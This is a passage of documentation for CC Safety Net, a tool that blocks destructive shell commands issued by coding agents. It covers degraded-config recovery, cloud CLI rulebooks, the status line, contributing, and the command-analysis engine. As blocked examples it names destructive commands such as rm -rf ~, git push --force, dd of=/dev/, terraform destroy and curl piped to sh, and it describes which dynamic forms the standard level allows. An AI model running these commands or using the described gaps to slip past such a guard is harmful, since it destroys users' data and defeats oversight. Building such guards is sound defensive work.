or oversized hook or tool payload | Denied, in every mode | | An empty or whitespace-only command on the command route | Denied, in every mode | | A command exceeds the recursion depth limit | Denied, in every mode | | A command structure exceeds safe validation limits | Denied, in every mode | | A command cannot be tokenized while the `fail_closed` capability is on | Denied. See [strict mode](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) | | Worktree relaxation cannot positively confirm a linked worktree | The relaxation is not applied and the stricter default stays | Invalid configuration is the opposite: rule sources are dropped, `policy.json` is salvaged or replaced with protective defaults, and work continues. ## Degraded-state reporting | Surface | What you see | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | The next user-visible denial | A `Config warning:` line carrying the full reason, appended to the block message | | Audit records | A `configFallback` flag, set on allowed and denied decisions alike | | `cc-safety-net status` | The verdict `ready` or `degraded`, and one line per diagnostic under `Not active` | | `cc-safety-net doctor` | A `config.runtime-degraded` warning finding titled "Runtime is enforcing a fallback configuration", with the full reason as detail | | `cc-safety-net rule list` | An `Issues` and a `Warnings` section. Rule configuration only | | Status line | A `⚠️` marker while the snapshot is degraded | | Dashboard | The state in the protection banner | `doctor` is the only command that reports both rule configuration and `policy.json`. See [CLI commands](/docs/reference/cli-commands) for each command's options and exit behavior. Two structural limits are worth knowing: * The `Config warning:` line and the audit `configFallback` flag appear only on decisions made **after** the snapshot loads. Policy-file and Git-metadata denials happen before that, so they carry neither. * Diagnostics **name** the rejected file and the condition; they never copy its bytes. A secret that happens to sit inside a malformed config file is not reproduced in the message. ## Visible and silent failures * **A dropped rule source is quiet.** It removes denials rather than adding them, so a clean session produces no friction and no signal at all. This is the case to check deliberately after any change to rule configuration and after every upgrade. Make `cc-safety-net status` a habit; run `doctor` for the full report. * **An unmigrated legacy configuration is quieter.** The runtime does not load the file and reports nothing about it, so the snapshot stays `ready` while those rules protect nothing. `rule verify` flags it. * **An invalid `policy.json` mostly announces itself**, because rejected sections fall back to protective defaults: both protections forced on, allow paths dropped, disabling overrides dropped. You discover it as *more* denials than you configured. * **The quiet half of an invalid `policy.json`**: an invalid `safety.level` silently falls back to `standard`, so a typo in `paranoid` **lowers** your preset. Invalid `secret_protection.deny_paths` entries and per-rule overrides that would raise a rule above its default are discarded rather than repaired. * Only the status line marker is passive. The `Config warning:` line needs an unrelated denial to appear on, and every other surface waits for you to run a command or open the dashboard. ## Recover configuration Every command below is an ordinary tool call, so your agent can run the whole sequence itself while the runtime is degraded. [CLI commands](/docs/reference/cli-commands) has the full options and exit behavior for each one. ```bash theme={"dark"} npx cc-safety-net status ``` Prints `ready` or `degraded`, plus one line per diagnostic under `Not active`. A disabled Claude Code plugin appears as the first `Not active` item, not as a separate verdict. This command is informational. Use it for routine checks, not as a gate. ```bash theme={"dark"} npx cc-safety-net doctor ``` The one command that covers both rule configuration and `policy.json`. A degraded runtime appears as the `config.runtime-degraded` warning, and the finding's detail is the full reason naming every rejected source. ```bash theme={"dark"} npx cc-safety-net rule list ``` Lists what is actually active, followed by `Issues` and `Warnings`. Use it to confirm which rules a dropped source took with it. It exits non-zero only when the policy has errors; warnings alone print under `Warnings` and exit `0`. ```bash theme={"dark"} npx cc-safety-net rule verify ``` Validates the user and project `rule.json` against the schema and replays the runtime load, so it catches the same problems the guard would hit. It also flags legacy files that still need migration. It ends with `All configs valid.` or `Configs valid with warnings.` when nothing is broken, and with `Config validation failed.` and exit `1` when something is. The command can make one change. When a valid `rule.json` has no `$schema` key, `rule verify` adds one and prints `Added $schema to config.` Otherwise, it changes nothing. A local rulebook needs no command. Edit the file the diagnostic names, and the guard reads it on the next tool call. For a remote source that is missing or stale, vendor it again: ```bash theme={"dark"} npx cc-safety-net rule update ``` Re-resolves every configured remote source, writes each one to `rules//rulebook.json`, then reloads that scope exactly as the guard loads it. Name one source to update only that one, and add `--global` for the user scope. If any diagnostic remains, it reports that diagnostic and exits non-zero instead of claiming success. `Rule config updated.` followed by the `Active rulebooks ():` list means the scope has no remaining diagnostic. Each source updates independently. One that fails prints `Failed to update : ` and keeps the copy it already had, while the others still update. Verification covers only the scope being updated. The runtime never rewrites `policy.json`. Correct the fields named in the diagnostic yourself, or use the repair action in the dashboard, then rerun `status`. See [Policy](/docs/configuration/policy) for the full schema and defaults. Repeat `status` after each repair. The runtime reloads on the next tool call, so there is nothing to restart. ## Migrate lock and cache leftovers A scope configured by an earlier version can still carry a `rule.lock` and a `cache` directory. Neither is read any more, so the snapshot stays `ready` and nothing is enforced from them. `cc-safety-net doctor` reports them as the info finding `config.v2-leftovers`, titled `Rulebook lock and cache leftovers detected`, with the detail `Files an earlier version left behind are no longer read: .` Its fix hint is ``Run `cc-safety-net rule sync` (add `--global` for user scope) to migrate them, then rerun doctor.`` That migration is all `rule sync` does now. It runs offline and opens with its deprecation notice: ``` `cc-safety-net rule sync` is deprecated: rulebooks are live files that need no synchronization. This run only migrates the lock and cache an earlier version left behind. ``` It vendors each cached rulebook that still matches its recorded digest, then deletes the lock and the cache directory. It refuses to run while the scope's `rule.json` is missing or unreadable, because the lock is then the only record of the configured sources. See [`rule sync`](/docs/reference/cli-commands#rule-sync) for every message it prints. ## Migrate legacy inline rules CC Safety Net no longer loads the legacy inline config files `~/.cc-safety-net/config.json` and `.safety-net.json` at runtime, and it emits no diagnostic about them. **Their rules are not enforced at all** while everything else keeps working, and the snapshot stays `ready`. This creates silent degradation after an upgrade. The session does not break, but those rules provide no protection and the runtime does not report the problem. Run `cc-safety-net rule verify` to find a legacy file that still needs migration. Run the migration from the project whose legacy configuration you want to convert: ```bash theme={"dark"} npx -y cc-safety-net rule migrate ``` `rule migrate` propagates the sync result, so if the migrated scope still has a diagnostic it reports that instead of succeeding. The migrated files are written and the legacy file is kept, so you can fix the reported problem and run it again. See [Custom rules](/docs/configuration/custom-rules) for the rulebook layout it migrates into. ## Related pages The complete `policy.json` contract, defaults, and per-field salvage. Rulebook layout, sources, vendoring, overrides, and transparent wrappers. Full options and exit behavior for `status`, `doctor`, and every `rule` subcommand. Where decisions are recorded, the entry schema, and retention. # Official rulebooks: ready-made rules for infrastructure CLIs Source: https://ccsafetynet.com/docs/configuration/rulebooks Install ready-made CC Safety Net rulebooks that block destructive AWS, Azure CLI, gcloud, and Terraform commands such as terraform destroy, aws s3 rm, gcloud projects delete, and az group delete from the official GitHub repository with one command. CC Safety Net publishes curated rulebooks for the infrastructure CLIs coding agents most often touch. Each rulebook blocks recognizable destructive operations for one CLI, and one command installs it: ```bash theme={"dark"} npx -y cc-safety-net rule add --only terraform --global ``` Rulebooks are JSON data. They are never executed, they only add denials, and they cannot weaken CC Safety Net's built-in protections. This page covers the official catalog. The [Custom rules](/docs/configuration/custom-rules) page owns the rulebook file format and the full `rule` command reference. Official rulebooks use `rulebook_version: 2` and require **CC Safety Net 2.3.0 or later**. ## The catalog The [`cc-safety-net/rulebooks`](https://github.com/cc-safety-net/rulebooks) repository ships one rulebook per CLI: | Rulebook | CLI | Blocks | | ----------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | `terraform` | `terraform` | `destroy`, `apply -destroy`, `state rm`, `state push`, `workspace delete` | | `aws` | `aws` | S3 object and bucket deletion, `ec2 terminate-instances`, `cloudformation delete-stack`, RDS and DynamoDB deletion, `eks delete-cluster`, `kms schedule-key-deletion` | | `gcloud` | `gcloud` | `projects delete`, `compute instances delete`, `storage rm`, Cloud SQL and GKE deletion, `kms keys versions destroy`, plus the alpha, beta, and preview release channels | | `azure` | `az` | `group delete`, `resource delete`, VM, AKS, storage, SQL, and Cosmos DB deletion, `keyvault purge` | Each rulebook is **curated coverage of recognizable accidental operations**, not a complete model of the provider API. Safe previews such as `aws s3 rm --dryrun`, `terraform state rm -dry-run`, and `aws ec2 terminate-instances --dry-run` stay allowed. Every rulebook has an evidence page in the repository recording why each rule exists, its safe previews, deliberate exclusions, and known gaps: [terraform](https://github.com/cc-safety-net/rulebooks/blob/main/docs/terraform.md) · [aws](https://github.com/cc-safety-net/rulebooks/blob/main/docs/aws.md) · [gcloud](https://github.com/cc-safety-net/rulebooks/blob/main/docs/gcloud.md) · [azure](https://github.com/cc-safety-net/rulebooks/blob/main/docs/azure.md). ## Install Prefer user scope. You use `terraform` and `aws` across projects, so the protection should follow you rather than one repository: ```bash theme={"dark"} # Everything the repository publishes npx -y cc-safety-net rule add cc-safety-net/rulebooks --global # A selection npx -y cc-safety-net rule add --only terraform aws --global # Pin an immutable release tag instead of following the default branch npx -y cc-safety-net rule add --ref v1.0.0 --only terraform --global ``` `--only` and `--ref` mean something only for a repository source, so passing either one without a source selects `cc-safety-net/rulebooks`. Naming the repository yourself still works, and installing everything it publishes requires naming it. Omit `--global` to install into the project scope instead. The vendored files land under `.cc-safety-net/` in the repository, so committing them ships the rules to every teammate's clone. See [Team setup](/docs/guides/team-setup). You can also add one rulebook by its canonical source spec, which is what `rule list` shows and `rule remove` takes: ```bash theme={"dark"} npx -y cc-safety-net rule add cc-safety-net/rulebooks#main/terraform --global ``` ## What installing does `rule add` fetches each selected rulebook, validates its schema and runs its bundled test fixtures, and **vendors** the file into your own scope at `rules//rulebook.json`. The command reports the commit the content came from. The runtime then reads your vendored copy on every tool call. There is no background fetching and no auto-update. Your copy changes only when you run: ```bash theme={"dark"} # Re-resolve every followed branch or tag ref and report added/removed/modified rules npx -y cc-safety-net rule update # Refresh one source npx -y cc-safety-net rule update cc-safety-net/rulebooks#main/terraform ``` A release tag is immutable, so a `--ref v1.0.0` install always vendors the same content and `rule update` is a no-op for it until you switch refs. ## Override or remove Disable an individual rule, or replace its block reason, with a per-rule override in `rule.json`. The rulebook file stays untouched, so `rule update` never conflicts with your override. See the [`rule.json` schema](/docs/configuration/custom-rules#rule-json-schema) for the syntax. To drop a rulebook entirely: ```bash theme={"dark"} npx -y cc-safety-net rule remove cc-safety-net/rulebooks#main/terraform --global ``` ## Install from any repository Nothing about the official repository is special. `rule add owner/repo` works for any GitHub repository that publishes rulebooks under `.cc-safety-net/rules//rulebook.json`, so a team or vendor can publish its own catalog the same way. A rulebook only adds denials and is never executed, but its rules become part of what your agent is told when a command is blocked. Review a third-party rulebook before adding it, and prefer `--ref` with a tag or commit you inspected over following a branch you do not control. ## When a rulebook does not fire `npx -y cc-safety-net rule list` shows every active rulebook with its rule count, and `npx -y cc-safety-net explain "terraform destroy"` traces a decision to the rule that made it. If a source shows as inactive, [Rulebooks are live files](/docs/configuration/custom-rules#rulebooks-are-live-files) covers the repair steps. # Status line: real-time mode indicators Source: https://ccsafetynet.com/docs/configuration/status-line Display CC Safety Net's effective safety level, worktree relaxations, project-policy weakenings, and degraded-config warning in Claude Code's status line using bunx, npx, or claude x. CC Safety Net can display its state in Claude Code's status line as one line of emoji indicators. It shows whether protection is active and the effective safety level without a separate diagnostic command. The status line is **Claude Code only**. It reads the `enabledPlugins["cc-safety-net@cc-marketplace"]` entry from `~/.claude/settings.json` (or `$CLAUDE_SETTINGS_PATH`) to decide whether the Claude Code plugin is enabled. If you installed CC Safety Net for a different agent, or as a manual Claude Code hook rather than the marketplace plugin, this indicator is not relevant to you. ## Configure the status line Add a `statusLine` entry to your `~/.claude/settings.json`. Choose the runner that matches your environment: ```json theme={"dark"} { "statusLine": { "type": "command", "command": "bunx cc-safety-net statusline --claude-code" } } ``` ```json theme={"dark"} { "statusLine": { "type": "command", "command": "BUN_BE_BUN=1 claude x cc-safety-net statusline --claude-code" } } ``` The `claude x` command is compatible only with a native Claude Code installation. If you installed Claude Code through npm, use `bunx` or `npx` instead. ```json theme={"dark"} { "statusLine": { "type": "command", "command": "npx -y cc-safety-net statusline --claude-code" } } ``` If you already have a status line command, pipe CC Safety Net at the end so both outputs are shown together: ```json theme={"dark"} { "statusLine": { "type": "command", "command": "your-existing-command | bunx cc-safety-net statusline --claude-code" } } ``` ## Status line indicators The output is exactly one line with this shape: ```text theme={"dark"} 🛡️ CC Safety Net ``` When the Claude Code plugin is disabled, the whole line collapses to a single indicator instead: ```text theme={"dark"} 🛡️ CC Safety Net ❌ ``` ### Level indicator Exactly one level emoji is always present. It reports the **effective** safety level after CC Safety Net combines `policy.json` with the environment. It does not report which environment variable you set. | Display | Effective level | Meaning | | ------- | --------------- | --------------------------------------------------------- | | ✅ | `standard` | No capabilities enabled. The default preset | | 🔒 | `strict` | The `fail_closed` capability only | | 👁️ | `paranoid` | `fail_closed`, `paranoid_rm`, and `paranoid_interpreters` | | 🔧 | `custom` | Anything else | The `custom` indicator appears in two cases: the enabled capabilities match no preset (for example `CC_SAFETY_NET_PARANOID=1` on top of the default level, which turns on both paranoid capabilities but not `fail_closed`), or a per-rule entry in `destructive_command_protection.overrides` changes a destructive-command rule away from the state its level would have given it. See [Modes](/docs/configuration/modes) for what each level blocks, and [Environment](/docs/configuration/environment) for the precedence rules that produce the effective level. ### Worktree, project-policy, and degraded indicators These are appended after the level emoji, in this order: | Display | Meaning | | ------- | --------------------------------------------------------------------------------------------------------------------------------- | | 🌳 | Worktree mode is active through `workflow.worktree_mode` in `policy.json` or `CC_SAFETY_NET_WORKTREE=1` | | 🔻 | A project `.cc-safety-net/policy.json` was read, and merging it over the user policy relaxed at least one field | | ⚠️ | The runtime is **degraded**: at least one configuration source could not be verified, so evaluation is running against a fallback | The 🔻 marker names no field. Run `npx cc-safety-net status` for the `Project policy` block, which prints one line per relaxed field, such as `project policy lowers level: strict -> standard` or `project policy disables rule `. `npx cc-safety-net doctor` prints the same lines under `Project policy deltas:`. See [Policy](/docs/configuration/policy) for what a project policy can set. The ⚠️ marker is the only passive signal that configuration is degraded. It does not identify the failed source. Run `npx cc-safety-net status` for the diagnostics or `npx cc-safety-net doctor` for the full report. See [Configuration recovery](/docs/configuration/recovery) for what `ready` and `degraded` mean and how to repair each one. ### Plugin-disabled indicator | Display | Meaning | | ------- | ------------------------------------------------------------------------------------------------- | | ❌ | The Claude Code plugin `cc-safety-net@cc-marketplace` is not enabled in `~/.claude/settings.json` | This is the same condition that `status` reports as the first item under `Not active`. The verdict stays `ready` or `degraded` because a disabled plugin affects only the Claude Code integration. The `statusline` command checks this condition first and replaces the rest of the line, so no level, worktree, project-policy, or degraded indicator appears alongside `❌`. The `❌` state means that the Claude Code marketplace plugin is disabled. If you run CC Safety Net as a manual Claude Code hook instead of the marketplace plugin, or for another agent, the status line may show `❌` even though protection is active. It reflects only the `enabledPlugins` entry in `~/.claude/settings.json`. ## Status line and `status` command differences Both commands load the policy snapshot and resolved environment. They show the configuration state in different formats. `status` prints a multi-line terminal report with a verdict and one diagnostic per issue. The status line prints one line of emoji indicators and no diagnostics. Use `status` when you need the reason. Use the status line when you need a persistent marker. See [CLI commands](/docs/reference/cli-commands) for the full `status` and `statusline` syntax, output, and exit behavior. Changes to `~/.claude/settings.json` take effect immediately. You do not need to restart Claude Code. The `statusline` command accepts `-cc` as a short alias for `--claude-code`. When you pipe another command into `statusline`, its output is prefixed as ` | 🛡️ CC Safety Net …`. JSON piped on stdin is discarded rather than echoed, because Claude Code pipes its own status payload into the command. # Contributing to CC Safety Net Source: https://ccsafetynet.com/docs/contributing How to contribute to CC Safety Net: setup with Bun 1.4.0 and Node.js 18+, what bun run check covers, local plugin testing, code conventions, and the pull request checklist. Before you make a large change, open an issue. This page gives the development setup and project conventions. For the full guide, see [CONTRIBUTING.md](https://github.com/kenryu42/cc-safety-net/blob/main/CONTRIBUTING.md) in the source repository. ## Propose before you build CC Safety Net has one focus: **preventing coding agents from making accidental mistakes that cause data loss**. It is not a general security-hardening or attack-prevention tool. Open an issue to discuss new detection rules, command categories, architectural changes, or configuration options before you implement them. You can submit typo fixes and small bug fixes with an obvious solution directly as a pull request. ## Set up the development environment * **Bun 1.4.0** is the required build and test runtime and the only supported package manager. See the [install guide](https://bun.sh/docs/installation). The `packageManager` field in `package.json` pins this version. * **Node.js 18 or newer** runs the built artifacts. You do not need Bun to run the published CLI or plugins. * **Claude Code** or **OpenCode** is required only to load and exercise the plugin locally. You do not need either one to build the project or run the test suite. ```bash theme={"dark"} git clone https://github.com/kenryu42/cc-safety-net.git cd cc-safety-net bun install bun run build bun run check ``` `bun run check` is the single gate. It runs Biome lint and format, TypeScript typecheck, `knip` dead-code detection, `jscpd` duplicate detection, the test suite with coverage, and a coverage-threshold check, in that order. Run it once when you finish your changes instead of running the subcommands separately. Confirm that it passes with no errors before you open a pull request. Individual commands are available while iterating: ```bash theme={"dark"} bun run lint # Biome lint + format bun run typecheck # TypeScript bun run knip # Dead-code detection bun test # Full test suite bun test tests/engine # One directory or file bun test --test-name-pattern "checkout" # Tests matching a pattern bun run build # Build for distribution ``` ## Test a local plugin Build, then load the local plugin so you can test real blocks: * **Claude Code**: disable any installed safety-net plugin, exit Claude Code, then run `claude --plugin-dir .` from the repo root. * **OpenCode**: point the `plugin[]` array in `~/.config/opencode/opencode.json` at the built `file://.../cc-safety-net/dist/index.js`, remove the npm `cc-safety-net` entry to avoid conflicts, and restart OpenCode. Run `/status` and confirm the plugin name appears as `dist`. Confirm a known block with the harmless exclusion-only pathspec: `git checkout -- ':(exclude,top)**'` must be blocked. If protection is inactive, this pathspec selects no files. ## Follow the code conventions | Convention | Rule | | ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | | Build / test runtime | Bun 1.4.0 | | Published runtime | Node.js 18+ | | Package manager | bun only (`bun install`, `bun run`) | | Formatter / linter | Biome | | Types | Rely on type inference; add explicit annotations only where an export or clarity needs them. `type \| null` is preferred over `type \| undefined` | | File naming | `kebab-case`; files in `docs/` are lowercase kebab-case too | | Function / type naming | `camelCase` functions, `PascalCase` types | | Constants | `SCREAMING_SNAKE_CASE` (for example reason constants) | | Imports | Relative imports within the package | | Tests | Live in `tests/` mirroring `src/`, never colocated in `src/` | | Build output | Ignore `dist/`. The lefthook pre-commit hook rebuilds it | ### Style guide * Keep code in one function unless it is genuinely composable or reusable. * Avoid `try`/`catch`, the `any` type, and `else` branches. Prefer early returns. * Prefer functional array methods (`flatMap`, `filter`, `map`) over `for` loops, and use type guards on `filter` so inference survives downstream. * Prefer `const` over `let`; use ternaries or early returns instead of reassignment. * Inline values used only once instead of naming them, and avoid unnecessary destructuring. ### Scope discipline Over-engineering is this project's dominant failure mode. Implement the smallest change that satisfies the request, and name the concrete failure that any addition beyond it prevents. Every check must be falsifiable in practice. Do not build schemas, validators, registries, or harnesses ahead of their first real entry, and prefer a documented process over code that enforces the process. ### Knip Never add entries to `ignoreIssues` in `knip.ts`. When knip flags an unused export, fix the root cause: delete or unexport genuinely dead code, tag test-only exports with a `/** @internal */` JSDoc comment (knip runs in `--production` mode, so test files are excluded), and drop unused names from barrel files. ## Prepare your pull request * Code follows the conventions above. * `bun run check` passes with no errors. * Tests added for new rules, with a minimum of 90% coverage. * Tested locally with at least one supported agent, for example Codex, Claude Code, Gemini CLI, GitHub Copilot CLI, Kimi Code, or Pi. The [Installation](/docs/installation#install-a-specific-agent) page lists all thirteen. * Documentation updated where needed (`README.md`, `AGENTS.md`). * No version changes in `package.json`. Version bumping and releases are handled by maintainers only. Never modify the version in `package.json` or `plugin.json` directly. ## Get development help * `bunx cc-safety-net doctor` verifies your setup. * `bunx cc-safety-net explain ""` shows step-by-step how a command is analyzed. * Check `CLAUDE.md` or `AGENTS.md` in the source repo for architecture and conventions, and read `REVIEW.md` before reviewing code. * Review existing implementations in `src/analyzer/` for code patterns, and `tests/helpers.ts` for test utilities. * Open an issue for bugs or feature requests. # How the analysis engine works Source: https://ccsafetynet.com/docs/guides/analysis-engine Inside the analysis engine: safety-level boundaries, wrapper and interpreter recursion, shell function calls, git rules, recursive-delete target classification, device commands, and custom rule matching. This page assumes the guard pipeline from [Architecture](/docs/guides/architecture). It documents the destructive-command classifier's exact behavior and edge cases for readers who inspect `explain` output or write precise [custom rules](/docs/configuration/custom-rules). The classifier is the **last** stage of the guard. The [ordered guard stages](/docs/guides/architecture#the-ordered-guard-stages) specify everything that runs first: bounded tool-input extraction, parser budgets, policy-file and Git-metadata protection, the policy snapshot load, and sensitive-path protection. Bounded parsing and the always-on policy-file and Git-metadata guards fail closed at every safety level. An invalid policy snapshot uses protective fallbacks, while sensitive-path protection follows the resolved policy. The destructive-command classifier cannot relax a decision already made by an earlier stage. [Architecture](/docs/guides/architecture#inside-command-analysis) diagrams the dispatch flow: split the command into segments, strip environment assignments and wrappers, identify the head command, and send it to the matching analyzer. This page explains what each analyzer does with its segment and where the safety levels move the boundary. ## Safety-level boundaries The three safety levels are presets over three capabilities. Getting these boundaries right is the difference between predicting a block and being surprised by one. | Level | Fail closed | Paranoid `rm` | Paranoid interpreters | | ---------- | ----------- | ------------- | --------------------- | | `standard` | off | off | off | | `strict` | **on** | off | off | | `paranoid` | **on** | **on** | **on** | Any capability mix that is not exactly one of the three presets reports as the effective level `custom`. ### Standard Standard blocks recognizable destructive commands. It is deliberately **not** adversarial-grade, and it is best-effort against dynamic or hostile input. * **Safe-looking unparseable text is permitted.** `echo 'unterminated` is allowed. * **Recognizable destructive text is still blocked, even when unparseable.** `git reset --hard 'unterminated` blocks via the raw-text heuristic scan, which recognizes `rm -rf`, `git reset --hard`/`--merge`, `git clean -f`, `git checkout --force`, `git push --force`/`--delete`, `git branch -D`, `git tag -d`, `git stash drop`/`clear`, `git checkout --`, `git restore`, `find -delete`, `dd of=/dev/`, `mkfs /dev/`, `shred `, and a download piped into a shell (`curl … | sh`). * **Dangerous text in a quoted-literal assignment defers to use time.** `W='rm -rf ~'; echo "$W"` is allowed because the assignment executes nothing. A quoted expansion in argument position stays one argv word, so it cannot split into a command plus flags. Any riskier reference keeps the assignment-time block, including an unquoted reference, a command-position reference, a substitution, or an unquoted heredoc body. Handing the value to a shell (`eval "$W"`, `bash -c "$W"`, `echo "$W" | sh`) also denies because the shell execution source cannot be verified. Strict never defers. See [Standard-only allowances](/docs/reference/allowed-commands#standard-only-allowances). * **Dynamic `rm -rf` targets are not categorically blocked.** `rm -rf "$target"` is allowed in standard; it blocks only once the fail-closed capability is on. * Standard also intentionally allows dynamic executables, guarded command structure assembled through substitution, other unverifiable recursive-delete targets, and standalone metadata-only checks of built-in sensitive paths. * **`eval` and `source` of a verifiable local generator are allowed.** `eval "$(ssh-agent -s)"` and `source <(kubectl completion bash)` pass in standard when the substitution body is one simple, fully literal command that is not a remote fetcher, a shell, or a command wrapper. The body is still analyzed; the shell it prints is not. Strict and paranoid deny every dynamic shell source. See [Standard-only allowances](/docs/reference/allowed-commands#standard-only-allowances). * Standard never relaxes **sensitive content access** or **configured deny paths**, and never relaxes the catastrophic protections. ### Strict [Strict mode](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) turns on the fail-closed capability. It does considerably more than tighten the unparseable case. * **Unparseable commands are blocked.** `echo 'unterminated` denies with a reason stating the command could not be safely analyzed. * **Metadata-only sensitive-path discovery is blocked.** `test -f ~/.ssh/id_rsa` and `find ~/.ssh -type f` are allowed in standard and blocked in strict. * The standard-only relaxation that treats sensitive path literals inside Node and Bun inline evaluation as inert diagnostic data is disabled. * **Heredocs fail closed.** Before the other analyzers run on a segment, a command containing a heredoc is denied unless it passes the narrow supported gate described under [Heredoc analysis](#heredoc-analysis): exactly one unexpanded heredoc, on stdin, no other input redirection, and one of six literal data consumers. An unquoted delimiter with an expandable body denies with "Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify."; every other failure denies with "This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify." So `python3 - <<'PY'` is denied here, and so is `cat < A known limitation: interpreter **long-form flags** (`--eval`, `--execute`, `--require`, and the attached `=value` form) are not recognized in every code path, so the code argument may not always be extracted. See [Known limitations](/docs/guides/known-limitations#interpreter-long-form-flags). ## POSIX shell functions A function definition is parsed as a definition instead of executed code. Three spellings are recognized: `name() { ... }`, the bash keyword form `function name { ... }`, and the hybrid `function name() { ... }`. The opening brace has to be its own word on the same line as the name, so `function cleanup{ echo ok; }` is not a definition. CC Safety Net analyzes the body at each call site with the caller's effective working directory and shell state. `cleanup() { rm -rf ../outside; }` is allowed because it only defines the function. Add the call, as in `cleanup() { rm -rf ../outside; }; cleanup`, and the command blocks on the body. State changes inside a called body carry forward. For example, `cleanup() { cd ..; }; cleanup && rm -rf build` blocks because `rm` is anchored one directory up. Call resolution follows the shell's own rules: * A call resolves past leading environment assignments (`X=1 cleanup`), the `time` keyword with its `-p` option and `--` terminator, and the `!` negation, including combined, `time -p -- ! cleanup`. Quoting or escaping the name (`'cleanup'`, `"cleanup"`, `\cleanup`) suppresses alias expansion but never a function lookup, so those call the function too. * Shapes a real shell would not run as the keyword form do not resolve: `X=1 time cleanup`, `time "--" cleanup`, and `!cleanup` (no space) are not treated as calls. * The latest definition before the call wins, matching the shell's redefinition semantics. * A definition made inside a subshell (`( ... )`) does not escape it, while a brace group (`{ ...; }`) runs in the same shell, so its definitions do. * Definitions stay visible to `eval` and `trap`, which run in the same shell. Therefore, `cleanup() { rm -rf ../outside; }; eval cleanup` blocks. Child shells do not inherit definitions, so `sh -c cleanup` resolves no function. Positional parameters stay unbound inside the body. `f() { rm -rf "$1"; }; f ~` has a dynamic target, so standard allows it and the fail-closed capability blocks it, just like `rm -rf "$X"`. The [quoted-assignment deferral](#standard) also applies inside called bodies. In `W='rm -rf ~'; f() { $W; }; f`, the unquoted command-position use keeps the assignment-time block. `f() { echo "$W"; }; f` stays allowed as quoted argument data. The pre-analysis guard stages see through calls as well: policy-file protection and sensitive-path extraction evaluate executed brace groups and called function bodies at each call site. Two structural bounds fail closed at every level, including standard. Self-recursion (`loop() { loop; }; loop`) denies on the recursion depth limit. Branching call chains deny on the derived-command work budget or the projection's cap of 256 inlined call sites. A heredoc attached inside a function body makes the command unparseable. Standard sends it to the heuristic scan, while strict denies it outright. ## Heredoc analysis A heredoc body is text on stdin, and the consumer decides whether that text is data or a program. Before the other analyzers run on a segment, the engine checks the command against a narrow supported gate. The gate passes only when **all** of the following hold: * The command has exactly one heredoc (`<<` or `<<-`), attached to stdin (fd 0). * The heredoc is unexpanded: either the delimiter is quoted (`<<'EOF'`), or the delimiter is unquoted and its body contains no `$`, backtick, or backslash. The shell then performs no expansion or escape processing, so the body reaches the consumer byte for byte. * No other input redirection competes for stdin (`<`, `<<`, `<<-`, `<<<`, `<&`, `<>`). * The consumer is a literal `cat`, `tee`, `git apply`, `git commit`, `gh pr create`, or `gh issue create`, with no path prefix or wrapper such as `env`. `cat` and `tee` are also rejected when an output process substitution (`>(...)`) is present because it hands the body to another command. A command that passes the gate treats the body as inert data at every level. For example, `cat > note.md <<'EOF'`, `git commit -F - <<'EOF'`, and `cat <(...)`), a quoted delimiter turns the whole body into data, and body lines that are not substitutions stay prose for the raw-text scan above to judge. One structural bound sits underneath all three paths: a heredoc body is re-parsed as shell text, and a body can declare further heredocs of its own. Nesting across those re-parses is capped at the parser's 64-level depth limit; deeper nesting reports the `structural-limit` parse status and denies the command in **every** safety level, standard included. Passing the gate as inert data is not the end of the analysis when the body lands in a file. The engine remembers a gate-passing heredoc body written verbatim to a literal path, such as `cat > setup.sh <<'EOF'`, `cat > setup.sh < x.sh <<'EOF' … EOF && bash x.sh` blocks when the body is destructive. Tracking has three limits. The engine remembers at most 64 files per analysis (`MAX_TRACKED_HEREDOC_FILES`; exceeding that fails closed on the derived-command work limit), never tracks paths under `/dev`, `/proc`, or `/sys`, and invalidates the stored body after a later write or redirection to that path. ## Git rule engine The git analyzer extracts the subcommand and its options, matches dangerous option patterns, and returns a reason plus a **classification**: `localDiscard` or `sharedState`. This classification drives [worktree relaxation](#worktree-relaxation). | Classification | Meaning | Examples | | ---------------- | ------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- | | **localDiscard** | Discards only local working-tree state and may qualify for worktree relaxation | `checkout --`, `restore`, `clean -f`, `reset --hard` (no ref), `switch --force`, `rebase --abort`, `merge --abort` | | **sharedState** | Affects shared, remote, or recovery state and is never relaxed | `push --force`, `branch -D`, `stash drop`/`clear`, `worktree remove --force`, `tag -d`, `reflog delete`, `reset --hard ` | Option matching handles the real-world grammar of git: long options use prefix matching (so `--forc`, `--force`, and `--force-with-lease` resolve correctly), short options are unbundled (so `-Df` is read as `-D` plus `-f`), and global options that take values (`-c`, `-C`, `--git-dir`, `--work-tree`, `--namespace`, `--super-prefix`, `--config-env`) are skipped when locating the subcommand. See [Blocked commands](/docs/reference/blocked-commands) for the full list of blocked git patterns. Git accepts `GIT_SSH_COMMAND`, `GIT_SSH`, and `GIT_SSH_VARIANT` to run an arbitrary program during network operations. CC Safety Net blocks any of these overrides when combined with a network subcommand (`clone`, `fetch`, `pull`, `push`, `ls-remote`, `submodule`), because they can execute arbitrary commands during a network operation. `checkout` analysis checks, in order: force (`--force`/`-f`); new-branch escape (`-b`/`-B`/`--orphan` returns no block); `--pathspec-from-file`; double-dash pathspec (`git checkout --` discards uncommitted changes; `git checkout -- ` overwrites the working tree with the ref version); and ambiguous multi-positional forms (two or more positionals suggests using `switch`/`restore` instead). `reset --hard`/`--merge` is classified `sharedState` when a ref precedes `--` (it moves a branch pointer), and `localDiscard` otherwise (it only discards working-tree changes). ## Recursive-delete target classification `rm` analysis detects recursive plus force flags, extracts targets, and classifies each target against the current working directory. It checks targets in the following order. **The first match wins**, so changing the order would change behavior. | # | Classification | What it matches | Outcome | | -- | ----------------------------------- | ----------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------- | | 1 | **unsafe `$TMPDIR` word-splitting** | An unquoted `$TMPDIR` that could split into multiple words | Blocked (treated as outside the cwd) | | 2 | **unsupported Windows namespace** | UNC and device-namespace paths the classifier cannot anchor | Blocked (treated as outside the cwd) | | 3 | **root/home target** | `/`, `/*`, `~`, `~/`, `$HOME`, 